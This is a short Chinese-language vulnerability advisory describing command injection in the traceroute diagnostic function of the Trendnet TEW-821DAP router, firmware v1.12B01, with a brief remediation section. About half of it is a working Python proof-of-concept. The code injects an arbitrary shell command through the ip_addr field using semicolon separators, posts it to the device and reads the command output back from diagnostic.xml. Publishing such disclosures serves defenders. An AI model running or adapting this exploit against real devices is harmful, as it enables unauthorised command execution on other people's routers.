# Trendnet TEW-821DAP 固件更新过程中的命令注入漏洞 ## 漏洞概述 在固件更新过程中,Trendnet TEW-821DAP 的 `tools_diagnostic` 函数存在命令注入漏洞。该函数执行基于 traceroute 的网络诊断并将结果保存到 `/tmp/diagnostic`。IP 地址存储在变量 `s` 中,并作为 traceroute 命令的参数使用。IP 地址由用户输入,网页通过 AJAX POST 请求进行正则表达式验证,但验证过程中未对 shell 元字符(如 `;` 和 `&`)进行验证,导致攻击者可以在 IP 地址中注入恶意命令。 ## 影响范围 - **受影响产品**: TEW-821DAP (固件版本 v1.12B01) ## 修复方案 - 对 IP 地址输入进行更严格的验证,确保不包含 shell 元字符。 - 使用参数化查询或白名单机制来防止命令注入。 ## POC 代码 ```python def vuln02_traceroute_cmd(self, cmd): print(f"[*] Vul #2: Traceroute command injection") print(f"[*] malicious command: {cmd}") payload = f'127.0.0.1; /dev/null;{cmd};' params = { "method": "1", "ip_addr": payload, "pkt_size": "56", "cnt": "4" } resp = self._post_apply("tools_diagnostic", params) print(f"[*] HTTP response code: {resp.status_code}") time.sleep(3) try: result_resp = self.session.get(f"{self.base_url}/diagnostic.xml") if result_resp.status_code == 200: print(f"[*] result:") print(result_resp.text) except Exception: pass return resp ```